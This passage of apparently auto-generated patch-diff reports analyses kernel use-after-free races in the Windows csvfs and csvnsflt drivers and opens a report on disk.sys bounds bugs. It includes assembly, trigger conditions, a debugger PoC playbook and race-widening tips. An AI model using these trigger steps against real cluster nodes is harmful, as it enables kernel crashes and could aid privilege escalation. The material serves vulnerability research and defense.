0x1C00BCADD: mov     rdx, cs:EncryptionManager  ; <<<< UNLOCKED read of Encryption global
0x1C00BCAE4: mov     r14b, r15b
0x1C00BCAE7: test    rdx, rdx
0x1C00BCAEA: jz      0x1C00BCB63
0x1C00BCAEC: mov     ecx, [rdx+0x20]        ; <<<< UAF SINK: deref stored size (+0x20)
0x1C00BCAEF: cmp     eax, ecx
0x1C00BCAF1: jnz     0x1C00BCB3A
0x1C00BCAF3: mov     rdx, [rdx+0x18]        ; <<<< UAF SINK: deref stored buffer (+0x18)
0x1C00BCAF7: mov     r8d, ecx               ; Size
0x1C00BCAFA: lea     rcx, [rsi+0xec]        ; Buf1 (caller input)
0x1C00BCB01: call    memcmp                 ; sub_1C0018950 — compares input vs stored buffer

; --- Exclusive-lock path that frees the object Thread A may be reading ---
0x1C00BCBD0: mov     rbx, cs:SigningLock
0x1C00BCBD7: call    KeEnterCriticalRegion
0x1C00BCBE3: mov     rcx, [rbx]             ; Resource
0x1C00BCBE6: mov     dl, 0x1
0x1C00BCBE8: call    ExAcquireResourceExclusiveLite
0x1C00BCBF4: mov     rcx, cs:EncryptionManager   ; old object
0x1C00BCBFB: test    rcx, rcx
0x1C00BCC00: call    ??_GEncryption         ; <<<< scalar deleting destructor -> ExFreePoolWithTag (sub_1C0058100)
0x1C00BCC0C: mov     cs:EncryptionManager, rdi   ; replace global with new object
0x1C00BCC16: call    ExReleaseResourceLite
0x1C00BCC22: call    KeLeaveCriticalRegion

; --- ReplayCacheManagerObject read — CORRECTLY under SigningLock SHARED in BOTH versions ---
0x1C00BCC2E: mov     rbx, cs:SigningLock
0x1C00BCC35: call    KeEnterCriticalRegion
0x1C00BCC41: mov     rcx, [rbx]
0x1C00BCC44: mov     dl, 0x1
0x1C00BCC46: call    ExAcquireResourceSharedLite   ; <-- SHARED LOCK
0x1C00BCC52: mov     rax, cs:ReplayCacheManagerObject
...
0x1C00BCCD0: call    ExReleaseResourceLite
0x1C00BCCDC: call    KeLeaveCriticalRegion

; --- Free helper ??_GEncryption (sub_1C0058100) ---
0x1C0058109: call    ?ReleaseAll@Encryption@@AEAAXXZ   ; Encryption::ReleaseAll
0x1C0058113: call    ExFreePoolWithTag                 ; deallocate the object

4.2 Patched — relevant change block

0x1C00BCACF: cmp     [rcx+0xe8], ebp           ; unsigned > 0
0x1C00BCAD5: jbe     0x1C00BCC40
0x1C00BCADE: call    ?AcquireShared@RWLock@@QEAAXXZ  ; <<<< SigningLock shared acquire (sub_1C0018818)
0x1C00BCAE3: mov     rdx, cs:EncryptionManager  ; read under lock
0x1C00BCAEA: test    rdx, rdx
0x1C00BCAED: jz      0x1C00BCB67
0x1C00BCAEF: mov     eax, [rdx+0x20]           ; safe deref under lock
0x1C00BCAF2: cmp     [rsi+0xe8], eax           ; re-read context+0xe8 from memory
0x1C00BCAFA: mov     rdx, [rdx+0x18]
0x1C00BCB08: call    memcmp                    ; sub_1C00189C0
...
0x1C00BCB67: call    ?ReleaseShared@RWLock@@QEAAXXZ  ; <<<< SigningLock shared release (sub_1C0018850)

4.3 Key takeaways from the assembly

The unprotected read is a single mov rdx, cs:EncryptionManager with no preceding KeEnterCriticalRegion and no preceding ExAcquireResource* / RWLock::AcquireShared call.
The exclusive-write path does correctly serialize against itself (it takes both critical region and exclusive resource) — but the missing shared-lock on the read makes the entire exclusive critical region useless for protecting against the racing reader.
The ReplayCacheManagerObject read shows the correct pattern already in place: KeEnterCriticalRegion → ExAcquireResourceSharedLite → read → ExReleaseResourceLite → KeLeaveCriticalRegion. The patch replicates this (via the RWLock wrapper) for the EncryptionManager read.
Address/symbol reuse across builds: 0x1C0018818 = RWLock::AcquireShared (patched) vs __GSHandlerCheck (unpatched); sub_1C0018950 (unpatched) / sub_1C00189C0 (patched) = memcmp; sub_1C0058100 = Encryption::scalar deleting destructor` (??_GEncryption`).

5. Trigger Conditions

Target environment. The victim machine must have the Cluster Shared Volume File System driver loaded — i.e., a node of a Windows Server Failover Cluster with at least one CSV enabled. Verify with fltmc filters (look for csvfs) or sc query csvfs.
Volume handle. Open a handle reaching the CSV set-security-info path.
Message routing. Drive a set-security-info operation that routes through CsvFsHandleMessage (sub_1C0005F50) → CsvFsHandleSetSecurityInfo (sub_1C0046974).
Input validation. CsvFsHandleSetSecurityInfo (sub_1C0046974) validates the input before calling CsvCamSetSecurityInfo.
Trigger flag. The context field at +0xe8 (encryption input length) must be > 0 — supply a non-empty encryption input so the EncryptionManager path is taken.
Racing threads. Fire at least two concurrent operations from separate threads targeting the same CSV volume. Ideally many threads (8–32) to amplify the probability of hitting the narrow race window.
Race window. Thread A executes 0x1C00BCADD (read pointer) → 0x1C00BCAEC (deref +0x20) → 0x1C00BCAF3 (deref +0x18) → 0x1C00BCB01 (call memcmp). Thread B must enter the exclusive-write path (0x1C00BCBD0 → 0x1C00BCC00) and free the object Thread A read.
Widen the window. Pin threads to specific CPUs via SetThreadAffinityMask, lower priority on the racing thread, or use NtYieldExecution to encourage preemption. Stagger the threads so Thread B reaches the free path while Thread A is between the read and the first deref.
Confirm. If no pool reclamation occurs: BSOD PAGE_FAULT_IN_NONPAGED_AREA (0x50) or an invalid pool read, faulting address inside a freed PagedPool block, caller csvfs!CsvCamSetSecurityInfo+0x40. With Driver Verifier Special Pool enabled: bug check DRIVER_VERIFIER_DETECTED_VIOLATION or SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION, with parameter 1 = the freed pool address. If the freed slot is reclaimed with controlled data, the reader instead dereferences an attacker-influenced +0x18 pointer and +0x20 size inside memcmp; note the memcmp result is consumed only as a match/no-match boolean (it sets r14), so it is not a data-return channel.

6. Exploit Primitive & Development Notes

Primitive. The bug is a narrow-window UAF on a 0x28-byte PagedPool allocation tagged 'CVCA' (0x41435643) holding an Encryption object. After a concurrent thread frees the object at 0x1C00BCC00, the racing reader dereferences the freed object's stored-size (+0x20) and stored-buffer pointer (+0x18) at 0x1C00BCAEC / 0x1C00BCAF3 and passes them to memcmp at 0x1C00BCB01.

Demonstrable impact:

Denial of service (kernel crash). If the freed 0x28 block is unmapped or poisoned (e.g., Driver Verifier Special Pool), the dereference at 0x1C00BCAEC faults, bugchecking the machine. This is the directly reproducible outcome.
Attacker-influenced dereference. If the freed slot is reclaimed with controlled data before the dereference, the +0x18 pointer and +0x20 size read from the reclaimed object are attacker-influenced. The size (+0x20) becomes the memcmp length and the pointer (+0x18) becomes the memcmp source, so memcmp reads size bytes from an attacker-influenced address — an out-of-bounds read against kernel memory. The memcmp result is consumed only as a match/no-match boolean that decides whether the manager is rebuilt (r14); it is not returned to the caller, so this is not by itself an information-disclosure channel.

Constraints on weaponization (not demonstrated here):

Winning the race requires two concurrent invocations reaching the EncryptionManager path (*(context+0xe8) > 0) on the same globals, with one freeing the object during the other's read window (0x1C00BCADD → 0x1C00BCB01). The operation runs at PASSIVE_LEVEL.
Turning the attacker-influenced dereference into anything beyond a crash requires reclaiming the freed 0x28 PagedPool slot with controlled contents, which is not established against these binaries and is out of scope for this report.

7. Debugger PoC Playbook

Below is the playbook for an analyst with kd/WinDbg attached to the unpatched driver, building a PoC for the UAF in CsvCamSetSecurityInfo.

7.1 Symbols / module setup

!load mex                       ; (optional) helpful
.reload /f csvfs.sys=............
lm csvfs                        ; confirm base
u csvfs!CsvCamSetSecurityInfo L40   ; sanity check entry

Replace ............ with the loaded base — typically obtainable from lm csvfs.

7.2 Breakpoints

#	Command	Why
1	`bp csvfs!CsvCamSetSecurityInfo`	Function entry. `rcx` = arg1 = security context. Check `[rcx+0xe8]` (input length).
2	`bp csvfs!CsvCamSetSecurityInfo+0x31` (`0x1C00BCADD`)	Unlocked read of `EncryptionManager`. `rdx` will hold the `Encryption` object pointer — the dangling-pointer-in-waiting.
3	`bp csvfs!CsvCamSetSecurityInfo+0x40` (`0x1C00BCAEC`)	Vulnerable dereference `mov ecx, [rdx+0x20]` (stored size). If the pool has been reclaimed, `ecx` contains attacker-controlled or stale data.
4	`bp csvfs!CsvCamSetSecurityInfo+0x47` (`0x1C00BCAF3`)	Second vulnerable dereference `mov rdx, [rdx+0x18]` (stored buffer).
5	`bp csvfs!CsvCamSetSecurityInfo+0x154` (`0x1C00BCC00`)	The free: `call ??_GEncryption`. `rcx` = object being freed. Compare against the `rdx` value captured at BP #2 on the racing thread.
6	`bp csvfs!__GEncryption` (`sub_1C0058100`)	The `Encryption` scalar deleting destructor (`ReleaseAll` then `ExFreePoolWithTag`). Confirms the pool address freed.

A conditional break to skip the boring path:

bp csvfs!CsvCamSetSecurityInfo ".if (poi(@rcx+0xe8) == 0) { gc } .else { .echo ENTERING VULNERABLE PATH; kn; }"

7.3 What to inspect at each breakpoint

BP	Register / Expression	Meaning
#1	`rcx`, `[rcx+0xe8]`, `[rcx+0xe0]`, `[rcx+0xe4]`	Security context, input length, volume IDs.
#2	`rdx`, `!pool rdx 2`	The `EncryptionManager` pointer just read unlocked. Tag should be `CVCA`, size `0x28`.
#3	`ecx` after `mov`, `!pte rdx`	The stored size read from the potentially freed object.
#5	`rcx`	The pointer being freed. If this equals the `rdx` from BP #2 on another thread → UAF confirmed.
Global watch	`EncryptionManager`	The Encryption global pointer itself. Break whenever any thread reads/writes it.

Useful pool inspection commands:

!poolfind 0x41435643 4       ; enumerate all live 'CVCA' allocations
!pool <faulting_addr> 2      ; tag / size of faulting address

7.4 Key instruction offsets

0x1C00BCAC4 — mov eax, [rcx+0xe8] — caches the input length in eax. (Patch removes this caching.)
0x1C00BCAD5 — test eax, eax — signed != 0 predicate. (Patch: cmp [rcx+0xe8], ebp; jbe — unsigned > 0.)
0x1C00BCADD — mov rdx, cs:EncryptionManager — UNLOCKED global read. (Patch inserts call ?AcquireShared@RWLock at 0x1C00BCADE just before.)
0x1C00BCAEC — mov ecx, [rdx+0x20] — UAF sink #1 (stored size).
0x1C00BCAF3 — mov rdx, [rdx+0x18] — UAF sink #2 (stored buffer).
0x1C00BCB01 — call memcmp (sub_1C0018950) — consumes the leaked/reclaimed data.
0x1C00BCC00 — call ??_GEncryption (sub_1C0058100) — Encryption scalar deleting destructor / ExFreePoolWithTag of the old object.
0x1C00BCC0C — mov cs:EncryptionManager, rdi — replaces global after free.

7.5 Trigger setup (from user mode)

Ensure CSV is enabled and csvfs is loaded: fltmc filters from an elevated cmd.
Open a handle reaching the CSV set-security-info path.
Drive a set-security-info operation that routes to CsvFsHandleSetSecurityInfo via CsvFsHandleMessage (sub_1C0005F50) with a non-empty encryption input so the context field +0xe8 is > 0.
Race: spawn 16–32 threads all issuing the same operation against the same volume, at high rate. Optionally throttle the racing thread with SetThreadAffinityMask to a different logical processor.
Observe: the BSOD or, with controlled reclamation, the controlled +0x18/+0x20 data feeding memcmp.

7.6 Expected observations

Crash without reclamation: Bug check 0x50 PAGE_FAULT_IN_NONPAGED_AREA. Parameter 2 = freed PagedPool address. Call stack ends in csvfs!CsvCamSetSecurityInfo+0x40 (0x1C00BCAEC) reading [rdx+0x20].
Crash with Special Pool: Bug check 0xC4 DRIVER_VERIFIER_DETECTED_VIOLATION (code 0x20 use-after-free) or 0xCC SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION. Parameter 1 = pool address.
No crash (controlled reuse): memcmp runs against attacker-supplied +0x18 / +0x20 — an attacker-directed kernel read.

7.7 Struct / offset notes

Security context (arg1) layout:
  +0x000  : (header / context fields)
  +0x0e0  : volume identifier A (32-bit, used to build ReplayCacheManager)
  +0x0e4  : volume identifier B (32-bit)
  +0x0e8  : encryption input length (int32) — must be > 0 to hit the EncryptionManager path
  +0x0ec  : encryption input buffer (compared via memcmp)

Encryption object (EncryptionManager), size 0x28, tag 'CVCA':
  +0x18  : stored buffer pointer (Buf2 for memcmp)
  +0x20  : stored size (int32; compared with *(context+0xe8) and used as memcmp Size)

SigningLock : ?SigningLock@@3PEAVRWLock@@EA — a C++ RWLock wrapping an ERESOURCE.
              exclusive = ExAcquireResourceExclusiveLite (guards the free)
              shared    = RWLock::AcquireShared / ReleaseShared (added by the patch around the read)
Pool tag constant : 0x41435643 ('CVCA')

8. Changed Functions — Full Triage

Only one function changed between the two binaries.

`CsvCamSetSecurityInfo` (`sub_1C00BCAAC`, similarity 0.9638, change_type = security_relevant)

What changed: The unprotected read+dereference of the global EncryptionManager pointer was wrapped in RWLock::AcquireShared / RWLock::ReleaseShared (the shared side of SigningLock). Incidentally, the entry-cached eax copy of *(context+0xe8) was replaced by an in-memory re-read, and the length test changed from test eax, eax; jz to cmp [rcx+0xe8], ebp; jbe; for a length value these two tests are equivalent and are not security-relevant on their own.
Helper functions introduced by the patch: RWLock::AcquireShared (0x1C0018818) and RWLock::ReleaseShared (0x1C0018850) exist only in the patched build. Their bodies reference the global SigningLock directly (AcquireShared: KeEnterCriticalRegion + ExAcquireResourceSharedLite([SigningLock], 1); ReleaseShared: ExReleaseResourceLite + KeLeaveCriticalRegion). In the unpatched build this identical shared-lock sequence was emitted inline around the ReplayCacheManagerObject read; the patch factors it into these two helpers, reuses them for that read and the UpdateGlobalSequenceNumber path, and newly applies them to the previously-unprotected EncryptionManager read.
Address/symbol reuse: At 0x1C0018818 the unpatched build contains __GSHandlerCheck (an unrelated function that the patched build relocates a few bytes later to 0x1C0018888 to make room for the new helpers). sub_1C0058100 = Encryption::scalar deleting destructor` (??_GEncryption), whose body callsEncryption::ReleaseAll(0x1C0058109) thenExFreePoolWithTag(0x1C0058113).sub_1C0018950(unpatched) /sub_1C00189C0(patched) =memcmp`.

CsvCamSetSecurityInfo is the only function whose behavior changed; the two RWLock helpers are the newly-emitted code that implements the fix.

9. Unmatched Functions

Removed: none.
Added: RWLock::AcquireShared (0x1C0018818) and RWLock::ReleaseShared (0x1C0018850). These two helper functions exist only in the patched build; they encapsulate the SigningLock shared acquire/release sequence that the unpatched build emitted inline. (The aggregate table in §1 pairs functions by address, so these two are counted against the __GSHandlerCheck / __GSHandlerCheckCommon functions that occupy those addresses in the unpatched build rather than reported as unmatched; by content they are genuinely new.)

No added sanitizers and no removed mitigations. The behavioral fix is confined to CsvCamSetSecurityInfo: a SigningLock shared lock (via the two new helpers) is added around the previously-unprotected EncryptionManager read. This makes the diff easy to audit and confirms that the patch targets the UAF in CsvCamSetSecurityInfo.

10. Confidence & Caveats

Confidence: High.

The diff is unambiguous: one function, two inserted RWLock::AcquireShared / ReleaseShared calls around a read that was previously unlocked, plus a tightened predicate and a re-read from memory. The pattern mirrors the protection already present on the ReplayCacheManagerObject read, which serves as an internal reference implementation.
The assembly at 0x1C00BCADD through 0x1C00BCB01 is unambiguously an unprotected read-then-deref-then-memcmp, and 0x1C00BCC00 is unambiguously a free of the same object under a SigningLock exclusive lock the reader does not share.
The vulnerable function is reachable from CsvFsHandleMessage (sub_1C0005F50) → CsvFsHandleSetSecurityInfo (sub_1C0046974) → CsvCamSetSecurityInfo.

Assumptions to verify manually before PoC:

Message/FSCTL code. Confirm via dynamic tracing which user-mode operation routes into CsvFsHandleSetSecurityInfo (case handling inside CsvFsHandleMessage).
Privilege requirement. Whether a low-privileged user can reach the set-security-info path, or whether local-administrators-only access is required, depends on the cluster's security descriptor. Verify with !sd on the device object.
Pre-conditioning *(context+0xe8). Confirm what supplies the non-empty encryption input that flips this length positive.
Pool-reclamation primitive choice. The 0x28 PagedPool size class is small enough for many spray primitives; the optimal one depends on the target Windows build and pool allocator.
Race timing. The window is a few instructions plus the memcmp. On a multi-core system the race is winnable but requires many threads or careful CPU pinning. Validate empirically with DV Special Pool first to confirm reachability, then disable DV for the real attempt.
Address changes. The addresses reflect this specific build. If you reverse a different build, rebase — the pattern (unlocked EncryptionManager read vs SigningLock-protected exclusive free) is what matters.

csvnsflt.sys — Use-After-Free race from unlocked global reads in CsvCamSetSecurityInfo (CWE-416, CWE-362) fixed

2026-06-28T00:00:00-07:00

1. Overview

Unpatched Binary: csvnsflt_unpatched.sys
Patched Binary: csvnsflt_patched.sys
Overall Similarity: 0.9912
Diff Statistics: 137 matched functions, 1 changed function, 136 identical functions, 0 unmatched functions in either direction.
Verdict: The patch fixes a use-after-free that is caused by a lock imbalance in CsvCamSetSecurityInfo. Two code regions in the unpatched build read and update global objects with no lock, while other regions of the same function free and replace those objects while holding SigningLock exclusive. The patch adds a shared-lock acquire/release around both previously-unlocked regions so readers are serialized against the exclusive writer.

2. Vulnerability Summary

Severity: High
Vulnerability Class: Use-After-Free caused by a data race / missing synchronization (CWE-416, CWE-362)
Affected Function: CsvCamSetSecurityInfo @ 0x1C0013304

Root Cause: CsvCamSetSecurityInfo manages two process-wide objects, both protected by the same lock SigningLock (an RWLock wrapping an ERESOURCE):

EncryptionManager, a pointer to an Encryption object. This is a 0x28-byte PagedPool allocation (tag 0x41435643) that holds BCrypt algorithm/key/hash handles and buffers. It is freed by Encryption::\scalar deleting destructor'`, which also releases its embedded BCrypt handles and buffers.
ReplayCacheManagerObject, a 0x1010-byte PagedPool allocation (tag 0x41435643) that holds the global sequence-number state. It is freed by ExFreePoolWithTag.

In the unpatched build two regions of this function touch these globals with no lock held:

At 0x1C0013332 the function reads EncryptionManager into a register with no lock, then dereferences the captured pointer at +0x20 (0x1C0013341) and +0x18 (0x1C0013348) and passes the +0x18 field to memcmp.
At 0x1C0013617 the sequence-number update loop reads ReplayCacheManagerObject with no lock, dereferences it at +0x18/+0x10/+0x4, and writes it with xchg [rbx+0x20] (0x1C001363F) and lock cmpxchg [rbx+0x18] (0x1C0013645).

Meanwhile, the replacement paths in the same function acquire SigningLock exclusive (ExAcquireResourceExclusiveLite) before freeing the old object and installing a new one: the old EncryptionManager is freed at 0x1C0013401; the old ReplayCacheManagerObject is freed at 0x1C001359F. Because the reader regions hold no lock, a second concurrent invocation can free the object between the moment the pointer is captured and the moment its fields are read or written. The region 1 race is a use-after-free read of a freed Encryption object; the region 2 race is a use-after-free write (interlocked update) into a freed ReplayCacheManager object.

The memcmp at 0x1C0013353 compares user-supplied bytes against the object's +0x18 buffer and returns only an equal / not-equal boolean (memcmp(...) == 0); it does not return the compared bytes to the caller, so this path is not an information-disclosure channel.

The patch wraps both previously-unlocked regions in KeEnterCriticalRegion + ExAcquireResourceSharedLite(SigningLock) ... ExReleaseResourceLite + KeLeaveCriticalRegion, so the reads and the interlocked writes are serialized against the exclusive writer that frees the objects.

Attacker-Reachable Entry Point & Data Flow: 1. User-Mode API: A caller sends a message with FilterSendMessage(hPort, buffer, ...) to the minifilter communication port. 2. Message Notify Callback: The registered callback NfltMessage @ 0x1C0005F60 receives the message. It validates the length, allocates a pool copy (tag 0x634D664E), ProbeForReads the input, copies it with memmove, and switches on the first DWORD. 3. Opcode Dispatch: When the first DWORD equals 6 and the message length is >= 0x14, the callback calls CsvCamSetSecurityInfo(buffer+4) at 0x1C0006299. 4. Vulnerable Region: CsvCamSetSecurityInfo performs the unlocked global reads/updates described above.

3. Pseudocode Diff

// === UNPATCHED CsvCamSetSecurityInfo @ 0x1C0013304 (region 1: unlocked read) ===
if ( a1[2] != 0 )
{
    v3 = 1;
    // EncryptionManager is read and dereferenced with NO lock held:
    if ( EncryptionManager != nullptr
      && ((v6 = *((_DWORD *)EncryptionManager + 8), a1[2] != v6)          // deref +0x20
            ? (v7 = false)
            : (v7 = memcmp(a1 + 3, *((const void **)EncryptionManager + 3), v6) == 0),  // deref +0x18, boolean result
          v7) )
    {
        v3 = 0;
    }
    else
    {
        // allocate + Encryption::Initialize, then under EXCLUSIVE lock free the old object:
        KeEnterCriticalRegion();
        ExAcquireResourceExclusiveLite(*SigningLock, 1u);
        if ( EncryptionManager != nullptr )
            Encryption::`scalar deleting destructor'(EncryptionManager);   // FREE old object
        EncryptionManager = v9;                                            // install new object
        ExReleaseResourceLite(*SigningLock);
        KeLeaveCriticalRegion();
    }
}
// ... region 2: the sequence-number loop reads/writes ReplayCacheManagerObject with NO lock ...

// === PATCHED CsvCamSetSecurityInfo @ 0x1C0013304 (region 1 now locked) ===
if ( a1[2] > 0 )
{
    KeEnterCriticalRegion();
    ExAcquireResourceSharedLite(*SigningLock, 1u);          // NEW: shared lock before the read
    if ( EncryptionManager != nullptr )
    {
        v6 = *((_DWORD *)EncryptionManager + 8);
        if ( a1[2] != v6 )
            v7 = false;
        else
            v7 = memcmp(a1 + 3, *((const void **)EncryptionManager + 3), v6) == 0;
        // ...
    }
    ExReleaseResourceLite(*SigningLock);                    // NEW: release after the read
    KeLeaveCriticalRegion();
}
// ... region 2: the sequence-number loop is likewise wrapped in a shared lock ...

4. Assembly Analysis

Unpatched — region 1: unlocked read of `EncryptionManager`

00000001C001331C  mov     eax, [rcx+8]                                  ; eax = arg1[2] (user-supplied size field)
00000001C001332A  test    eax, eax
00000001C001332C  jz      loc_1C001342F
00000001C0013332  mov     rdx, cs:?EncryptionManager@@3PEAVEncryption@@EA ; read global with NO lock held
00000001C001333C  test    rdx, rdx
00000001C001333F  jz      short loc_1C001336D
00000001C0013341  mov     ecx, [rdx+20h]                                ; deref of possibly-freed object
00000001C0013344  cmp     eax, ecx
00000001C0013346  jnz     short loc_1C001335F
00000001C0013348  mov     rdx, [rdx+18h]                                ; Buf2 = pointer field of possibly-freed object
00000001C001334C  mov     r8d, ecx                                      ; Size
00000001C001334F  lea     rcx, [rsi+0Ch]                                ; Buf1 = user data
00000001C0013353  call    memcmp                                        ; returns equal/not-equal only (boolean)

Unpatched — the exclusive-lock free that region 1 races

00000001C00133D1  mov     rbx, cs:?SigningLock@@3PEAVRWLock@@EA
00000001C00133D8  call    cs:__imp_KeEnterCriticalRegion
00000001C00133E9  call    cs:__imp_ExAcquireResourceExclusiveLite       ; EXCLUSIVE
00000001C00133F5  mov     rcx, cs:?EncryptionManager@@3PEAVEncryption@@EA
00000001C00133FF  jz      short loc_1C0013406
00000001C0013401  call    ??_GEncryption@@QEAAPEAXI@Z                    ; frees old EncryptionManager
00000001C001340D  mov     cs:?EncryptionManager@@3PEAVEncryption@@EA, rdi ; install new object
00000001C0013417  call    cs:__imp_ExReleaseResourceLite
00000001C0013423  call    cs:__imp_KeLeaveCriticalRegion

Unpatched — region 2: unlocked read/update of `ReplayCacheManagerObject`

00000001C0013617  mov     edi, [rsi+4]
00000001C001361A  mov     rbx, cs:?ReplayCacheManagerObject@@3PEAV...    ; read global with NO lock held
00000001C0013621  mov     esi, [rbx+18h]                                ; deref of possibly-freed object
00000001C001363F  xchg    rax, [rbx+20h]                                ; write into possibly-freed object
00000001C0013645  lock cmpxchg [rbx+18h], edi                           ; interlocked write into possibly-freed object

The old ReplayCacheManagerObject is freed under the exclusive lock at 0x1C001359F (ExFreePoolWithTag), which region 2 can race.

Patched — shared lock added around region 1

00000001C001333A  mov     rbx, cs:?SigningLock@@3PEAVRWLock@@EA
00000001C0013344  call    cs:__imp_KeEnterCriticalRegion                ; NEW
00000001C0013356  call    cs:__imp_ExAcquireResourceSharedLite          ; NEW shared lock before the read
00000001C0013362  mov     rdx, cs:?EncryptionManager@@3PEAVEncryption@@EA
00000001C001336E  mov     eax, [rdx+20h]
00000001C0013376  mov     rdx, [rdx+18h]
00000001C0013381  call    memcmp
00000001C00133A4  call    cs:__imp_ExReleaseResourceLite                ; NEW release after the read
00000001C00133B0  call    cs:__imp_KeLeaveCriticalRegion                ; NEW

Patched — shared lock added around region 2

00000001C0013641  mov     rbx, cs:?SigningLock@@3PEAVRWLock@@EA
00000001C0013648  call    cs:__imp_KeEnterCriticalRegion                ; NEW
00000001C0013659  call    cs:__imp_ExAcquireResourceSharedLite          ; NEW shared lock before the loop
00000001C0013668  mov     rbx, cs:?ReplayCacheManagerObject@@3PEAV...
00000001C001366F  mov     esi, [rbx+18h]
00000001C001368D  xchg    rax, [rbx+20h]
00000001C0013693  lock cmpxchg [rbx+18h], edi
00000001C00136DD  call    cs:__imp_ExReleaseResourceLite                ; NEW release after the loop
00000001C00136E9  call    cs:__imp_KeLeaveCriticalRegion                ; NEW

5. Trigger Conditions

Session Establishment: Obtain a handle to the minifilter communication port via FilterConnectCommunicationPort.
Payload Formatting: Construct a message of at least 0x14 bytes. The first DWORD is the opcode and must equal 6. Starting at offset +0x4 the callback passes the buffer to CsvCamSetSecurityInfo, which reads its fields at +0x8 (the size compared against EncryptionManager+0x20) and +0xC (the bytes passed to memcmp).
Race Execution: Issue concurrent opcode-6 messages.
Reader interleaving: A message whose size/data match the current EncryptionManager keeps execution on the unlocked read path (region 1), and the follow-on sequence-number update (region 2) reads/writes ReplayCacheManagerObject unlocked.
Writer interleaving: A message whose size or data mismatch drives the allocation/replace path, which acquires the exclusive lock and frees the old object before installing a new one.
Timing: The writer must free the object during the window between the reader capturing the global pointer and dereferencing it (region 1) or performing the interlocked update (region 2).
Observable Effect: Dereferencing or writing the freed PagedPool object can raise an unhandled kernel exception (for example a page fault when the freed page is unmapped or reclaimed), leading to a bugcheck.

6. Impact

Primitive: Kernel use-after-free on PagedPool objects (tag 0x41435643). Region 1 is a stale read of a freed Encryption object (fields +0x20 and +0x18, with the +0x18 value used as a buffer pointer for memcmp). Region 2 is a stale write (xchg and lock cmpxchg) into a freed ReplayCacheManager object.
Not an information-disclosure channel: The memcmp on the region-1 path returns only a boolean equal/not-equal result and does not return the compared memory contents to the caller. The unlocked reads do not surface object bytes to user mode.
Reachable impact: Memory corruption (a stale read of, and stale interlocked writes into, freed pool). The demonstrable consequence is kernel instability / bugcheck (denial of service). Turning this race into privilege escalation would require reclaiming the freed allocation with controlled contents within the race window; that further exploitation is not demonstrated here and depends on pool state and timing not established from the static diff.
Reachability caveats: The trigger assumes a caller can open and send messages to the driver's communication port; the port's security descriptor and the driver's presence (it loads on Cluster Shared Volumes nodes) determine who can reach the code. These should be confirmed on the target configuration.

7. Debugger Playbook

This section lists real instruction addresses in the unpatched binary for observing the race. Assume the analysis image base 0x1C0000000; adjust for the runtime load base.

Breakpoints

bp csvnsflt_unpatched!NfltMessage                 ; 0x1C0005F60 — message dispatch entry
bp csvnsflt_unpatched!CsvCamSetSecurityInfo       ; 0x1C0013304 — function entry
bp 0x1C0013332                                    ; region 1: unlocked capture of EncryptionManager
bp 0x1C0013341                                    ; region 1: first deref of the captured pointer
bp 0x1C0013401                                    ; exclusive-lock free of the old EncryptionManager
bp 0x1C001361A                                    ; region 2: unlocked read of ReplayCacheManagerObject
bp 0x1C001359F                                    ; exclusive-lock free of the old ReplayCacheManagerObject

What to Inspect

At NfltMessage (0x1C0005F60): rdx points to the user message; after the internal memmove copy, the first DWORD selects the opcode. Confirm opcode 6 routes to CsvCamSetSecurityInfo.
At 0x1C0013332 (region-1 capture): rdx receives the current EncryptionManager value with no lock held. Set a write breakpoint on the EncryptionManager global to observe when a concurrent thread replaces it.
At 0x1C0013401 (free): rcx holds the object being freed. If it equals the value captured at 0x1C0013332 in the racing thread, the region-1 use-after-free is imminent.
At 0x1C0013341 (deref): A fault here on a freed/unmapped page confirms the region-1 use-after-free fired.
At 0x1C001361A / 0x1C001363F (region 2): Observe the unlocked read and the xchg/lock cmpxchg writes; racing the free at 0x1C001359F corrupts freed pool.

Struct & Offset Notes

Message layout: [+0x0] opcode (6); the struct at +0x4 is passed to CsvCamSetSecurityInfo as arg1, with arg1[2] (+0x8) the size and arg1[3] (+0xC) the compared bytes.
Encryption object: +0x20 is the size compared against the user size; +0x18 is the buffer pointer passed to memcmp.
ReplayCacheManager object: +0x18 and +0x20 are the sequence-number fields updated by the interlocked operations.

8. Changed Functions — Full Triage

CsvCamSetSecurityInfo @ 0x1C0013304 (Similarity: 0.9045 | Change Type: Security Relevant)
Changes: Added KeEnterCriticalRegion + ExAcquireResourceSharedLite(SigningLock) ... ExReleaseResourceLite + KeLeaveCriticalRegion around the EncryptionManager read/compare region (previously fully unlocked) and around the ReplayCacheManagerObject sequence-number update loop (previously fully unlocked). The exclusive-lock free/replace paths were already locked in the unpatched build; the change closes the reader side of the lock imbalance. The remaining differences are register-allocation shifts caused by the added blocks.

9. Unmatched Functions

Added: None.
Removed: None.

10. Confidence & Caveats

Confidence Level: High that the change is a genuine synchronization fix. The unpatched build clearly reads and updates EncryptionManager and ReplayCacheManagerObject without holding SigningLock, while the free/replace paths hold it exclusive; the patched build adds a matching shared lock around both regions. Direction is correct (patched is stricter).
What is demonstrated: A reachable kernel use-after-free (stale read of a freed Encryption object and stale interlocked writes into a freed ReplayCacheManager object) driven by racing concurrent port messages.
What is not demonstrated: A full privilege-escalation chain. The region-1 memcmp result is only a boolean and is not an information-leak channel. Converting the use-after-free into controlled memory corruption would require reclaiming the freed pool with attacker-controlled contents inside the race window, which is not established from the static diff.
To verify on a live target: the communication port name and its security descriptor (who may send messages), the exact object sizes for pool reclaim, and the presence of the driver on the target (Cluster Shared Volumes nodes).

DONE

disk.sys — Out-of-bounds read (CWE-125) and out-of-bounds write (CWE-787) in SCSI mode page parsing fixed

2026-06-28T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`disk_unpatched.sys`
Patched binary	`disk_patched.sys`
Overall similarity	0.9074
Matched functions	140
Changed functions	65
Identical functions	69
Unmatched (unpatched → patched)	0
Unmatched (patched → unpatched)	0

Verdict: The patch adds the same missing bounds check in two SCSI mode page 8 (Caching Mode Page) routines that share the exact same parsing prologue. In the read path (DiskGetCacheInformation) it closes a medium-severity out-of-bounds read that can disclose a small amount of adjacent kernel pool memory to user mode or fault the system. In the write path (DiskSetCacheInformation) it closes a high-severity out-of-bounds write of caller-supplied cache fields into non-paged pool past the located mode page descriptor. Both are triggerable via a malformed storage-device MODE SENSE response; the write path additionally requires the caller to issue IOCTL_DISK_SET_CACHE_INFORMATION.

2. Vulnerability Summary

Finding 1 — Out-of-Bounds Read in Mode Page 8 Parser

Attribute	Value
Severity	Medium
Class	CWE-125 — Out-of-bounds read
